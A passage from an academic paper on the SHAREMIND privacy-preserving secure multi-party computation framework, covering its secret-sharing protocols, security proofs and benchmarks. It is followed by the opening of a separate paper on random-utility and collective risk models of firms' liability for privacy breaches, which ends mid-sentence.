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Fig. 1. In SHAREMIND, input data and instructions are sent to miner nodes that use multi-party
computation to execute the algorithm. The result is returned when the computation is complete.

The high level description of the SHAREMIND framework is depicted in Fig. 1. Es-
sentially, one can view SHAREMIND as a virtual processor that provides secure storage
for shared inputs and performs privacy-preserving operations on them. Each miner node
Pi has a local database for persistent storage and a local stack for storing intermediate
results. All values in the database and stack are shared among all miners P1, . . . , Pn by
using an additive secret sharing over Z232 . The framework provides efficient protocols
for basic mathematical operations so that one could easily implement more complex
tasks. In particular, one should be able to construct such protocols without any knowl-
edge about underlying cryptographic techniques. For that reason, all implementations of
basic operations in the SHAREMIND framework are perfectly universally composable.

The current version of SHAREMIND framework is based on three miner nodes and
tolerates semi-honest corruption of a single node, i.e., no information is leaked unless
two miner nodes collaborate. The latter is a compromise between efficiency and secu-
rity. Although a larger number of miner nodes increases the level of tolerable corruption,
it also makes assuring semi-honest behaviour much more difficult. Secondly, the com-
munication complexity of multi-party computation protocols is roughly quadratic in the
number of miners n and thus three is the optimal choice. Besides, it is difficult to find
more than a handful of independent organisations that can provide adequate protection
measures and are not motivated to collaborate with each other.

To achieve maximal efficiency, we also use non-orthodox secret sharing and share
computing protocols. Recall that most classical secret sharing schemes work over finite
fields. As a result, it is easy to implement secure addition and multiplication modulo
prime p or in the Galois field F2k . However, the integer arithmetic in modern computers
is done modulo 232. Consequently, the most space- and time-efficient solution is to use
additive secret sharing over Z232 . There is no need to implement modular arithmetic
and we do not have to compensate the effect of modular reductions. On the other hand,
we have to use non-standard methods for share computing, since Shamir secret sharing
scheme does not work over Z232 . We discuss these issues further in Sect. 4.

Initially, the database is empty and data donors have to submit their inputs by send-
ing the corresponding shares privately to miners who store them in the database. We
describe this issue more thoroughly in Sect. 4.2. After the input data is collected, a data
analyst can start privacy-preserving computations by sending instructions to the miners.
Each instruction is a command that either invokes a share computing protocol or just
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reorders shares. The latter allows a data analyst to specify complex algorithms without
thinking about implementation details. More importantly, the corresponding complex
protocol is guaranteed to preserve privacy, as long as the execution path in the program
itself does not reveal private information. This restriction must be taken into account
when choosing data analysis algorithms for implementation on SHAREMIND.

Each arithmetic instruction invokes a secure multi-party protocol that provides new
shares. These shares are then stored on the stack. For instance, a unary stack instruction
f takes the top shares [[u]] of the stack and pushes the resulting shares [[f(u)]] to the
stack top. Analogously, a fixed binary stack instruction⊗ takes two top most shares [[u]]
and [[v]] and pushes [[u ⊗ v]] to the stack. For efficiency reasons, we have also imple-
mented vectorised operations to perform the same protocol in parallel. This significantly
reduces the number of rounds required for applying similar operations on many inputs.

The current implementation of SHAREMIND framework provides privacy preserving
addition, multiplication and greater-than-or-equal comparison of two shared values. It
can also multiply a shared value with a constant and extract its bits as shares. Share
conversion from Z2 to Z232 and bitwise addition are mostly used as components in
other protocols, but they are also available to the programmer. We emphasise here that
many algorithms for data mining and statistical analysis do not use other mathematical
operations and thus this instruction set is sufficient for many applications. Moreover,
note that bit extraction and arithmetic primitives together are sufficient to implement
any Boolean circuit with a linear overhead and thus the SHAREMIND framework is also
Turing complete. We acknowledge here that there are more efficient ways to evaluate
Boolean circuits like Yao circuit evaluation (see [15]) and we plan to include protocols
with similar properties in the future releases of SHAREMIND.

We analyse the security of all share manipulation protocols in the information-
theoretical attack model that was specified in Sect. 2. How to build such a network form
standard cryptographic primitives is detailed in Sect. 5. Also, note that the next section
provides only a general description of all protocols, detailed technical description of all
protocols can be found in the full version of this article [5].

4 Share Computing Protocols

All computational instructions in the SHAREMIND framework are either unary or binary
operations over unsigned integers represented as elements of Z232 or their vectorised
counterparts. Hence, all protocols have the following structure. Each miner Pi uses
shares ui and vi as inputs to the protocol to obtain a new share wi such that [[w]] is a
valid sharing of f(u) or u⊗v. In the corresponding idealised implementation, all miners
send their input shares to the trusted third party T who restores all inputs, computes
the corresponding output w and sends back newly computed shares [[w]] ← Deal(w).
Hence, the output shares [[w]] are independent of input shares and thus no information
is leaked about the input shares if we publish all output shares.

Although share computing protocols are often used as elementary steps in more com-
plex protocols, they themselves can be composed from even smaller atomic operations.
Many of these atomic sub-protocols produce output shares that are never published.
Hence, it makes sense to introduce another security notion that is weaker than universal
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1. Each party Pi sends a random mask ri ← Z232 to the right neighbour Pi+1.
2. Each party Pi uses the input share ui to compute the output wi ← ui + ri−1 − ri.

Fig. 2. Re-sharing protocol for three parties

composability. We say that a share computing protocol is perfectly simulatable if there
exists an efficient universal non-rewinding simulator S that can simulate all protocol
messages to any real world adversary A so that for all input shares the output distribu-
tions of A and S〈A〉 coincide. Most importantly, perfect simulatability is closed under
concurrent composition. The corresponding proof is straightforward.

Lemma 1. If all sub-protocols of a protocol are perfectly simulatable, then the protocol
is perfectly simulatable.

Proof (Sketch). Since all simulators Si of sub-protocols are non-rewinding, we can
construct a single compound simulator S∗ that runs simulators Si in parallel to provide
the missing messages to A. As each simulator Si is perfect, the final view of A is also
perfectly simulated. ��

However, perfect simulatability alone is not sufficient for universal composability.
Namely, output shares of a perfectly simulatable protocol may depend on input shares.
As a result, published shares may reveal more information about inputs than necessary.
Therefore, we must often re-share the output shares at the end of each protocol.

The corresponding ideal functionality is modelled as follows. Initially, the miners
send their shares [[u]] to the trusted third party T who recovers the input u ← Rec([[u]])
and sends new shares [[w]] ← Deal(u) back to the miners. The simplest universally
composable re-sharing protocol is given in Fig. 2. Indeed, we can construct a non-
rewinding interface I0 between the ideal world and a real world adversary A such that
for any input distribution the output distributions ψ and ψ◦ coincide. The correspond-
ing interface I0 forwards the input share ui of a corrupted miner Pi to T, provides
randomness ri ← Z232 to Pi, and given wi form T sends ri−1 ← wi − ui + ri to Pi.

The next lemma shows that perfect simulatability together with re-sharing assures
universal composability in the semi-honest model. In the malicious model, one needs
additional correctness guarantees against malicious behaviour.

Lemma 2. A perfectly simulatable share computing protocol that ends with perfectly
secure re-sharing of output shares is perfectly universally composable.

Proof. Let S be the perfect simulator for the share computing phase and I0 the interface
for the re-sharing protocol. Then we can construct a new non-rewinding interface I for
the whole protocol:

1. It first submits the inputs of the corrupted miners Pi to the trusted third party T and
gets back the output shares wi.

2. Next, it runs, possibly in parallel, the simulator S and the interface I0 with the
output shares wi to simulate the missing protocol messages.
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Now the output distributions ψ and ψ◦ coincide, since the sub-routines S and I0 per-
fectly simulate protocol messages and I0 assures that the output shares of corrupted par-
ties are indeed wi. The latter assures that the adversarial output ψ◦

a is correctly matched
together with the outputs of honest parties. Since the interface I is non-rewinding, the
claim holds even if the protocol is executed in a larger computational context �〈·〉. ��

4.1 Protocols for Atomic Operations

Due to the properties of additive sharing, we can implement share addition and multi-
plication by a public constant c with local operations only, as [u1 + v1, . . . , un + vn]
and [cu1, . . . , cun] are valid shares of u+ v and cu. However, these operations are only
perfectly simulatable, since the output shares depend on input shares.

A share multiplication protocol is another important atomic primitive. Unfortunately,
we cannot use the standard solutions based on polynomial interpolation and re-sharing.
Shamir secret sharing just fails in the ring Z232 . Hence, we must roll out our own mul-
tiplication protocol. By the definition of the additive secret sharing scheme

uv =
n∑

i=1

uivi +
n∑

j �=i

uivi mod 232 (1)

and thus we need sub-protocols for computing shares of uivj . For clarity and brevity,
we consider only a sub-protocol, where P1 has an input x1, P2 has an input x2 and
the miner P3 helps the others to obtain shares of x1x2. Du and Atallah were the first
to publish the corresponding protocol [12] although similar reduction techniques have
been used earlier. Fig. 3 depicts the corresponding protocol. Essentially, the correctness
of the protocol relies on the observation

x1x2 = −(x1 + α1)(x2 + α2) + x1(x2 + α2) + (x1 + α1)x2 + α1α2 .

The security follows from the fact that for uniformly and independently generated
α1, α2 ← Z232 the sums x1 + α1 and x2 + α2 have also uniform distribution.

Lemma 3. The Du-Atallah protocol depicted in Fig. 3 is perfectly simulatable.

Proof. Let us fix inputs x1 and x2. Then P1 receives two independent uniformly distrib-
uted values and P2 receives two independent uniformly distributed values. P3 receives
no values at all. Hence, it is straightforward to construct a simulator S that simulates
the view of a semi-honest participant. ��

1. P3 generates α1, α2 ← Z232 and sends α1 to P1 and α2 to P2.
2. P1 computes x1 + α1 and sends the result to P2.

P2 computes x2 + α2 and sends the result to P1.
3. Parties compute shares of x1x2:

(a) P1 computes its share w1 = −(x1 + α1)(x2 + α2) + x1(x2 + α2).
(b) P2 computes its share w2 = (x1 + α1)x2.
(c) P3 computes its share w3 = α1α2.

Fig. 3. Du-Atallah multiplication protocol
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Execute the following protocols concurrently:

1. Compute locally shares u1v1, u2v2 and u3v3.
2. Use six instances of the Du-Atallah protocol for computing shares of uivj where i 	= j.
3. Re-share the final sum of all previous sub-output shares.

Fig. 4. High-level description of the share multiplication protocol

Fig. 4 depicts a share multiplication protocol that executes six instances of the Du-
Atallah protocol in parallel to compute the right side of the equation (1). Since the
protocols are executed concurrently, the resulting protocol has only three rounds.

Theorem 1. The multiplication protocol is perfectly universally composable.

Proof. Lemma 1 assures that the whole protocol is perfectly simulatable, as local com-
putations and instances of Du-Atallah protocol are perfectly simulatable. Since the out-
put shares are re-shared, Lemma 2 provides universal composability. ��

4.2 Protocol for Input Gathering

Many protocols can be directly built on the atomic operations described in the previous
sub-section. As the first example, we discuss methods for input validation. Recall that
initially the database of shared inputs is empty in the SHAREMIND framework and
the data donors have to fill it. There are two aspects to note. First, the data donors
might be malicious and try to construct fraudulent inputs to influence data aggregation
procedures. For instance, some participants of polls might be interested in artificially
increasing the support of their favourite candidate. Secondly, the data donors want to
submit their data as fast as possible without extra work. In particular, they are unwilling
to prove that their inputs are in the valid range.

There are two principal ways to address these issues. First, the miners can use multi-
party computation protocols to detect and eliminate fraudulent entries. This is compu-
tationally expensive, since the evaluation of correctness predicates is a costly operation.
Hence, it is often more advantageous to use such an input gathering procedure that guar-
antees validity by design. For instance, many data tables consist of binary inputs (yes-no
answers). Then we can gather inputs as shares over Z2 to avoid fraudulent inputs and
later use share conversion to get the corresponding shares over Z232 .

Let [u1, u2, u3] be a valid additive sharing over Z2. Then we can express the shared
value u through the following equation over integers:

f(u1, u2, u3) := u1 + u2 + u3 − 2u1u2 − 2u1u3 − 2u2u3 + 4u1u2u3 = u .

Consequently, if we treat u1, u2, u3 as inputs and compute the shares of f(u1, u2, u3)
over Z232 , then we obtain the desired sharing of u. More precisely, we can use the
Du-Atallah protocol to compute the shares [[u1u2]], [[u1u3]], [[u2u3]] over Z232 . To get
the shares [[u1u2u3]], we use the share multiplication protocol to multiply [[u1u2]] and
the shares [[u3]] created by P3. Finally, all parties use local addition and multiplication
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1. Generate random bit shares [[r(31) ]], . . . , [[r(0)]] over Z232 .
2. Compute the corresponding shares [[r]] = 231 · [[r(31)]] + · · · + 20 · [[r(0)]].
3. Compute and publish the shares of the difference [[a]] = [[u]] − [[r]].
4. Mimic bitwise addition algorithm to compute bit shares [[u(31) ]], . . . , [[u(0) ]]

from the known bit representation of a and the bit shares [[r(31) ]], . . . , [[r(0)]].

Fig. 5. High-level description of the bit extraction protocol

routines to obtain the shares of f(u1, u2, u3) and then re-share them to guarantee the
universal composability. The resulting protocol has only four rounds, since we can start
the first round of all multiplication protocols simultaneously.

Theorem 2. The share conversion protocol is perfectly universally composable.

Proof. The proof follows again directly from Lemmata 1 and 2, since all sub-protocols
are perfectly simulatable and the output shares are re-shared at the end. ��

Note that input gathering can even be an off-line event, if we make use of public-key
encryption. If everybody knows the public keys of the miners, they can encrypt the
shares with the corresponding keys and then store the encryptions in a public database.
Miners can later fetch and decrypt their individual shares to fill their input databases.

4.3 Protocols for Bit Extraction and Comparison

Various routines for bit manipulations form another set of important operations. In par-
ticular, note that for signed representation of Z232 = {−231, . . . , 0, . . . , 231 − 1} the
highest bit indicates the sign and thus the evaluation of greater-than-or-equal (GTE)
predicate can be reduced to bit extraction operations. In the following, we mimic the
generic scheme proposed by Damgård et al. [10] for implementing bit-level operations.
As this construction is given in terms of atomic primitives, it can be used also for set-
tings where there are more than three miners, see Fig. 5.

For the first step in the algorithm, miners can create random shares over Z2 and
then convert them to the shares over Z232 . The second step can be computed locally.
The third step is secure, since the difference a = u − r has uniform distribution over
Z232 and thus one can always simulate the shares of a. For the final step, note that
addition and multiplication protocols are sufficient to implement all logic gates when all
inputs are guaranteed to be in the range {0, 1}. Hence, we can use the classical bitwise
addition algorithm to compute [[u(31)]], . . . , [[u(0)]]. However, the number of rounds in
the corresponding protocol is linear in the number of bits, since we cannot compute
carry bits locally. To minimise the number of rounds, we used standard look-ahead
carry construction to perform the carry computations in parallel. The latter provides
logarithmic round complexity. More precisely, the final bitwise addition protocol has 8
rounds and the corresponding bit extraction protocol has 12 rounds. Both protocols are
also universally composable, since all sub-protocols are universally composable.

Theorem 3. The bitwise addition protocol is perfectly universally composable. The bit
extraction protocol is perfectly universally composable.
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As a simple extension, we describe how to implement greater-than-or-equal predicate
if both arguments are guaranteed to be in Z231 ⊆ Z232 . This allows us to define

GTE(x, y) =

{
1, if the highest bit of the difference x− y is 0,

0, otherwise.

It is straightforward to see that the definition is correct for unsigned and signed inter-
pretation of the arguments as long as both arguments are in the range Z231 . Since the
range Z231 is sufficient for most practical computations, we have not implemented the
extended protocol for the full range Z232 × Z232 , yet.

Theorem 4. The greater-than-or-equal protocol is perfectly universally composable.

Proof. The protocol is universally composable, since the bit extraction protocol that is
used to split x− y into bit shares is universally composable. ��

5 Practical Implementation

The main goal of the SHAREMIND project is to provide an easily programmable and
flexible platform for developing and testing various privacy preserving algorithms based
on share computing. The implementation of the SHAREMIND framework provides a lib-
rary of the most important mathematical primitives described in the previous section.
Since these protocols are universally composable, we can use them in any order, pos-
sibly in parallel, to implement more complex algorithms. To hide the execution path
of the algorithm, we can replace if-then branches with oblivious selection clauses. For
instance, we can represent if a then x ← y else x ← z as x ← a · y + (1− a) · z.

The software implementation of SHAREMIND is written in the C++ programming
language and is tested on Linux, Mac OS X and Windows XP. The “virtual processor”
of SHAREMIND consists of the miner application which performs the duties of a se-
cure multiparty computation party and the controller library for developing controller
applications that work with the miners. Secure channels between the miners are im-
plemented using standard symmetric encryption and authentication algorithms. As a
result, we obtain only computational security guarantees in the real world. The latter
is unavoidable if we want to achieve a cost-efficient and universal solution, as building
dedicated secure channels is currently prohibitively expensive.

One of the biggest advances of the framework is its modularity. At the highest abst-
raction level, the framework behaves as a virtual processor with a fixed set of com-
mands. However, the user can design and experiment with new cryptographic protocols.
On this level, the framework hides all technical details, such as network setup and exact
details of message delivery. Finally, the user can explicitly change networking details at
the lowest level, although we have put a lot of effort into optimising network behaviour.

To facilitate fast testing and algorithm development, we implemented the most obvi-
ous execution strategy, where the controller application executes a program by asking
the miners to sequentially execute operations described by the program. When a com-
putational operation is requested from the miner, it is scheduled for execution. When
the operation is ready to be executed, the miners run the secure multi-party computation
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protocols necessary for completing the operation. Like in a standard stack machine, all
operations read their input data from the stack and write output data to the stack upon
completion. The shares of the final results are sent back to the controller.

Of course, such a simplistic approach neglects many practical security concerns. In
particular, the controller has full control over the miners and thus we have a single
point of failure. Therefore, real-world applications must be accompanied with auxiliary
mechanisms to avoid such high level attacks. For instance, the miners must be config-
ured with the identities of each other and all possible controllers to avoid unauthorised
commands. This can be achieved by using public-key infrastructure. Similarly, the com-
plete code should be analysed and signed by an appropriate authority to avoid unautho-
rised data manipulation. However, the time-complexity of these operations is constant
and thus our execution strategy is still valid for performance testing.

6 Performance Results

We have measured the performance of the SHAREMIND framework on two computa-
tional tasks—scalar product and vectorised comparison. These tests are chosen to cover
the most important primitives of SHAREMIND: addition, multiplication and compar-
ison. More importantly, it also allowed us to compare SHAREMIND to other secure
multi-party computation systems [6,16,18].

The input datasets were randomly generated and the corresponding shares were
stored in local databases. For each vector size, we ran the computation many times
and measured the results for each execution. To identify performance bottlenecks, we
measured the local computation time, the time spent on sending data, and the time spent
on waiting. The time was measured at the miners to minimise the impact of overhead
from communication with the controller. The tests were performed on four computers
in a computing cluster. Each machine had a dual-core Opteron 175 processor and 2 GB
of RAM, and ran Scientific Linux CERN 4.5. The computers were connected by a local
switched network allowing communication speeds up to 1 gigabit per second.

As one would expect, the initial profiling results showed that network roundtrip time
has significant impact on the performance. Consequently, it is advantageous to execute
many operations in parallel and thus the use of vectorised operations can lead to sig-
nificant performance gains. The latter is a promising result, since many data mining
algorithms are based on highly parallelisable matrix operations.

Nevertheless, we also observed that sometimes data vectors become too large and
this starts to hinder the performance of the networking layer. To balance the effects of
vectorisation, we implemented a load balancing system. We fixed a certain threshold
vector size after which the miners start batch processing of large vectorised queries. In
each sub-round, a miner processes a fragment of its inputs and sends the results to the
other miners before continuing with the next fragment of input data.

Fig. 6 shows the impact of our optimisations on the waiting time caused by net-
work delays. In particular, note that the impact of network delays is small during scalar
product computation—the miners do not waste too many CPU cycles while waiting for
inputs. Consequently, further optimisations can only lead to marginal improvements.
The same is true for the multiplication protocol, since the performance characteristics
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Fig. 6. Performance of the SHAREMIND framework. Left and right pane depict average running
times for test vectors with 10, 000–100, 000 elements in 10, 000-element increments.

of the scalar product operation practically coincide with the multiplication protocol: ad-
dition as a local operation is very fast. For the parallel comparison, the effect of network
delays is more important and further scheduling optimisations may decrease the time
wasted while waiting for messages. In both benchmarks, the time required to send and
receive messages is significant and thus the efficiency of networking layer can signifi-
cantly influence performance results.

Besides measuring the average running time, we also considered variability of tim-
ings. For the comparison protocol, the running times were rather stable. The average
standard deviation was approximately 6% from the average running time. The scalar
computation execution time was significantly more fluctuating, as the average standard
deviation over all experiments was 24% of the mean. As most of the variation was in
the network delay component of the timings, the fluctuations can be attributed to low-
level tasks of the operating system. This is further confirmed by the fact that all scalar
product timings are small, so even relatively small delays made an impact on our execu-
tion time. We remind here that the benchmark characterises near-ideal behaviour of the
SHAREMIND framework, since no network congestion occurred during the experiments
and the physical distance between the computers was small. In practice, the effect of
network delays and the variability of running times can be considerably larger.

We also compared the performance of SHAREMIND with other known implementa-
tions of privacy-preserving computations. Our first candidate was the FAIRPLAY sys-
tem [16], which is a general framework for secure function evaluation with two parties
that is based on garbled circuit evaluation. According to the authors, a single compari-
son operation for 32-bit integers takes 1.25 seconds. A single SHAREMIND comparison
takes, on average, 500 milliseconds. If we take into account the improvements in hard-
ware we can say that the performance is similar when evaluating single comparisons.
The authors of FAIRPLAY noticed that parallel execution gives a speedup factor of up
2.72 times in a local network. Experiments with SHAREMIND have shown that paral-
lel execution can increase execution up to 27 times. Hence, SHAREMIND can perform
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parallel comparison more efficiently. The experimental scalar product implementation
in [18] also works with two parties. However, due to the use of more expensive cryp-
tographic primitives, it is slower than SHAREMIND even with precomputation. For ex-
ample, computing the scalar product of two 100000-element binary vectors takes a
minimum of 5 seconds without considering the time of precomputation.

The SCET system used in [6] is similar to SHAREMIND as it is also based on share
computing. Although SCET supports more than three computational parties, our com-
parison is based on results with three parties. The authors have presented performance
results for multiplication and comparison operations as fitted linear approximations.
The approximated time for computing products of x inputs is 3x + 41 milliseconds
and the time for evaluating comparisons is 674x + 90 milliseconds (including precom-
putation). The performance of SHAREMIND can not be easily linearly approximated,
because for input sizes up to 5000 elements parallel execution increases performance
significantly more than for inputs with more than 5000 elements. However, based on
the presented approximations and our own results we claim that SHAREMIND achieves
better performance with larger input vectors in both scalar product and vectorised com-
parison. A SHAREMIND multiplication takes, on the average, from 0.006 to 57 mil-
liseconds, depending on the size of the vector. More precisely, multiplication takes less
than 3 milliseconds for every input vector with more than 50 elements. The timings for
comparison range from 3 milliseconds to about half a second which is significantly less
than 674 milliseconds per operation.

7 Conclusion and Future Work

In this paper, we have proposed a novel approach for developing privacy-preserving ap-
plications. The SHAREMIND framework relies on secure multi-party computation, but
it also introduces several new ideas for improving the efficiency of both the applications
and their development process. The main theoretical contribution of the framework is
a suite of computation protocols working over elements in the ring of 32-bit integers
instead of standard finite fields.

We have also implemented a fully functional prototype of SHAREMIND and showed
that it offers enhanced performance when compared to other similar frameworks. Be-
sides that, SHAREMIND also has an easy to use application development interface al-
lowing the programmer to concentrate on the implementation of data mining algorithms
without worrying about the details of cryptographic protocols.

However, the current implementation has several restrictions. Most notably it can
use only three computing parties and can deal with just one semi-honest adversary.
Hence the main direction for future research is relaxing these restrictions by develop-
ing computational primitives for more than three parties. We will also need to study
the possibilities for providing security guarantees against active adversaries. Another
aspect needing further improvement is the application programmer’s interface. A com-
piler from a higher-level language to our current assembly-like instruction set is defi-
nitely needed. Implementing and benchmarking a broad range of existing data-mining
algorithms will remain the subject for further development as well.
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Abstract. The rapid expansion of Internet based services has created
opportunities for ICT firms to collect and use, in an unauthorized way,
information about individuals (e.g. customers, partners, employees etc.).
Therefore, privacy issues are becoming increasingly important. In this
paper we model the risk that an IT firm is exposed to, as a result of
potential privacy violation incidents. The proposed model is based on
random utility modeling and aims at capturing the subjective nature of
the question: ”how important is a privacy violation incident to some-
one?”. Furthermore, we propose a collective risk model for the economic
exposure of the firm due to privacy violation. These models are useful for
the design and valuation of optimal privacy related insurance contracts
for the firm and are supportive to its risk management process.

Keywords: Privacy, Risk Modeling, Insurance, Random Utility Models.

1 Introduction

The immense advances in information and communication technologies have sig-
nificantly raised the acceptance rate of Internet-based applications and services.
Enterprises store, manage and process large amounts of personal and sensitive
data about their employees, partners, and customers. Despite the fact that this
information is fundamental to enable their business processes, personal data
should be accessed and used according to privacy legislation and guidelines;
that is only for the purposes for which they have been collected and always after
the consent of the data subjects.

Nevertheless, some people are really concerned about privacy protection is-
sues, while others are not. The diversity of the interest level of an employee, or
a partner, or a customer, may result into different estimations about the conse-
quences for the firm in case of privacy violation incidents. It is thus necessary to
develop a model capable of handling this subjective impact level for the firm, in
terms of the compensation that an individual may claim after a privacy breach.
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For instance, when an IT firm uses personal data without the consent of
its clients, it is subjective whether a client will feel upset about it and press
charges or not. In fact, only a few clients may decide to press charges and claim
compensation. And given that this has happened what is the likely amount of
the compensation claimed?

We will introduce a simple model that incorporates the personalized view of
how individuals perceive a possible privacy violation and the loss of value that
such a violation represents to them.

In Section 2 of this paper, we provide a short review of the research area. In
Section 3 we model the possible compensation claim of an individual after misuse
of her personal information. In section 4 we model the number of compensation
claims during a time period and the total amount claimed during this period,
considering a homogeneous population of clients. In Section 5 homogeneity is
relaxed, while in Section 6 we discuss applications of the collective risk model
to insurance and risk management issues for IT firms handling personal data. In
section 7 we present and discuss a simulated example to obtain a feeling of the
practical usefulness and applicability of the proposed model. Finally, section 8
summarizes and concludes the paper.

2 Literature Review

Privacy refers to the right of someone to be left alone [1]. Information privacy
refers to the right of the individual to control personal information [2,3]. Loss of
information privacy may lead to loss of privacy in the above defined context. The
new technologies and the expansion of the Internet have raised public concern
about information privacy [4,5,6,7,8,9]. Four identified aspects of privacy con-
cerns about organizational information privacy practices refer to (i) collection
and storage of large amount of personal information data, (ii) unauthorized sec-
ondary use of personal data, (iii) errors in collected data and (iv)improper access
to personal data due to managerial negligence [10], with the first two being the
most important [11,12,13]. Regarding online privacy preferences, individuals are
classified in three basic classes [14,15]:(i) the Privacy Fundamentalists who al-
most always refuse to provide personal information, (ii) the Pragmatic Majority,
who exhibit privacy concerns but not as strongly as the Privacy Fundamentalists
and (iii) the Marginally Concerned who are almost always willing to reveal their
personal data.

The above studies do not claim that individuals will actually behave according
to their stated preferences. In fact a dichotomy exists between stated informa-
tion privacy preferences and actual behavior when individuals need to make a
privacy related decision [15,16,17,18,19]. However, there is strong evidence that
people are willing to exchange personal information for economic benefits or
personalized services [16,20,21], giving thus ground to proposals for regulation
of privacy through National Information Markets [22]. Finally, the impact of a
company’s privacy incidents on its stock market value is explored and analyzed
in [23].
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3 Modeling the Possible Claim of an Individual j for
Revealing Private Data Dm

We consider the case that a private data Dm disclosure has occured and we wish
to answer the question ”‘How much would an individual j claim as compensation
for the above mentioned privacy breach?”’

3.1 A Random Utility Model

Our basic working framework is the random utility model (RUM) that has been
used in the past in the modeling of personalized decisions and non market val-
uation. We assume that the individual j may be in two different states. State 0
refers to the state where no personal data is disclosed. State 1 refers to the state
where personal data has been disclosed. For simplicity we assume that there is
only one sort of data that may be disclosed.

The level of satisfaction of individual j in state 1 is given by the random utility
function u1,j(yj , zj) + ε1,j where yj is the income (wealth) of the individual and
zj is a vector related to the characteristics of the individual, e.g. age, occupation,
whether she is technology averse or not etc. The term ε1,j is a term that will
be considered as a random variable and models the personalized features of the
individual j. This term takes into account effects such that, for instance one
time the same individual may consider a privacy violation as annoying whereas
another time she may not bother about it at all. This term gives the random
features to the model and is essential for the subjective nature of it. Similarly,
the level of satisfaction of the same individual j in state 0 is given by the random
utility function u0,j(yj , zj) + ε0,j where the various terms have similar meaning.

State 1, the state of privacy loss, will be disturbing to individual j as long as

u1,j(yj , zj) + ε1,j < u0,j(yj , zj) + ε0,j

and that may happen with probability

P (ε1,j − ε0,j < u0,j(yj , zj)− u1,j(yj , zj))

This is the probability that an individual will be bothered by a privacy violation
and may be calculated as long as we know the distribution of the error term.
This will also depend on the general characteristics of the individual through zj

as well as on her income yj . The particular dependence can be deduced through
statistical tests which will be sketched briefly.

Given that an individual j is bothered by a privacy violation, how much would
she value this privacy violation, so how much would she like to be compensated
for that? If the compensation is Cj then this would satisfy the random equation

u1,j(yj + Cj , zj) + ε1,j = u0,j(yj , zj) + ε0,j

the solution of which will yield a random variable Cj . This is the (random) com-
pensation that an individual may ask for a privacy violation. The distribution of
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the compensation will depend on the distribution of the error terms εij as well
as on the functional form of the deterministic part of the utility function.

The following two cases are quite common:

1. ui,j(yj , zj) = aiyj + bizj, linear utility function. Assuming a0 = a1 = 1, the
random compensation is given by Cj = Bzj +εj, where B = b0−b1 and εj =
ε0,j−ε1,j. Then (since B is a deterministic vector) the distribution of Cj is the
distribution of the random variable εj. A common assumption is that the εj

are normally distributed. This leads to a normally distributed compensation,
and forms the basis of the well known class of econometric models called
probit models. Another common assumption is that the random variable εj

is distributed by a logistic distribution. This forms the basis of the well known
class of econometric models called logit models. Note that the linearity of
the utility function in the income makes the compensation independent of
the income.

2. uij(yj , zj) = ailn(yj) + bizj i.e. the utility function is log linear in income.
Again, assuming a0 = a1 = 1, the random compensation is given by Cj =
−yj + yjexp(Bzj + εj), where B = b0 − b1 is constant and εj = ε0,j − ε1,j .
The distribution of the compensation is determined by the distribution of
the error term εj . Normally distributed errors will lead to a probit model
whereas errors distributed with a logistic distribution will lead to a logit
model.

The above mentioned models may in principle lead to unbounded claims, though
with diminishing probability. As an attempt to remedy this situation we may
resort to bounded logit or probit models. Such models have been used in the lit-
erature for valuation of environmental and natural resources with great success.
An example of such a model may be the model

Cj =
yj

1 + exp(−zjγ − ε)

where the error may be taken as either logistic or normal.
In general the RUMs may lead to a wide variety of individual claim distrib-

utions, depending on the choice of the utility function and the distribution of
the random terms. Therefore, one may obtain heavy tailed distributions, char-
acteristic of large claims, or distributions with thin tails, characteristic of the
small claims that insurance companies may deal with in everyday practice. The
distribution of claims depends heavily on the fall off of the inverse of the utility
function in the range of large values of its argument; this is evident since

Cj = u−1
1,j(u0,j(yj , zj) + ε0,j − ε1,j) − yj

almost surely, where u−1
1,j is the inverse of the function u1,j(yj , zj) with respect to

the first argument, keeping zj fixed. The above formula shows that slow decay
of the inverse utility function may lead to heavy tails for the distribution of
the claims, thus leading to typical large claim distributions such as the Pareto
distribution.
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3.2 Estimation of such Models

The estimation of such models may be made using appropriately chosen ques-
tionnaires in order to obtain enough data for the proposed claims so that a logit
or probit distribution may be fitted into them. An appropriate form of the ques-
tionnaire could be for instance: Would you be ready to accept a sum of t euros
in order to reveal this data (e.g. telephone number, credit card number etc). The
test will be made for a vector of t’s and the answer will be in the form of yes
(1) and no’s (0). The answers to the test will provide estimates for the proba-
bility that P (Cj > t) and these results will then be fitted into a logit or probit
model using standard statistical procedures which are now well implemented in
commercial packages. A possible procedure for the model estimation could be
for instance a maximum likelihood method, where the likelihood of the observed
answers to the survey is computed as a function of the parameters of the model
obtained by the RUM and then the parameter values are chosen to be such that
the likelihood is maximized. For the RUMs described above, i.e. the logit and
probit model, there exist analytic formulae for the likelihood, thus facilitating
the maximization.

After estimating the model we have a good approximation of the probability
distribution of the compensation claim of an individual j with characteristics zj

and income yj for revealing some private data Dm.

4 The Temporal Structure of the Risk Model

In the previous section we established a personalized model for the compensation
that an individual may claim from a firm that caused a privacy incident. In this
section we use the methods of non-life insurance mathematics [24], in order to
model the total compensation that may be claimed during some time period
from the firm by a class of individuals who were affected by the privacy incident.

4.1 Modeling the Number of Claims

We now assume that a series of claims Cj may arrive at certain random times
Nj . Each of these claims may be distributed as determined by the RUM. Of
paramount importance to the construction of a satisfactory model for the lia-
bilities of a firm handling privacy related data is to model the distribution of
random times when claims concerning privacy breaches may occur.

The distribution of random times may be modeled as a Poisson distribution
Pois(λ) or as a geometric distribution.

Another possible model for the distribution of the arrival times may be a
renewal process. This may be seen as a generalization of the homogeneous
Poisson process, allowing for the modeling of large gaps between the arrival
of claims. A renewal process may be constructed as a random walk T0 = 0,
Tn = W0 +W1 + · · ·+Wn where Wi is an i.i.d. sequence of almost surely positive
random variables. The special case where Wi ∼ Exp(λ) generates the homoge-
neous Poisson process. However, the use of interarrival time distributions such
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as the lognormal or the Pareto distribution may model long interarrival times,
which may be better fitted for the description of claims connected to privacy
related incidents.

Yet another possibility for modeling the distribution of arrival times for the
individual claims may be a mixed Poisson process. This, generally speaking, is
a Poisson process, whose rate is no longer deterministic but rather a random
variable, that is N(t) = N̄(θ µ(t)) where N̄ is a standard homogeneous Poisson
process, µ is the mean value function of a Poisson process and θ a positive
random variable, independent of N . The random variable θ is called the mixing
variable. Mixture models may provide a wide variety of distributions for N(t).
For example, if µ(t) = t and θ is assumed to follow the gamma distribution
with parameters γ and β then N(t) is distributed by the negative binomial with
parameter (p, v) = ( β

t+β , γ).
Such a model may be reasonable into taking account of the randomness in-

cluded into whether somebody suffering a privacy incident will finally decide to
act and demand compensation or not, and if yes when. It is a nice complement
to the RUM, since the RUM was used to estimate the size of the claims, given
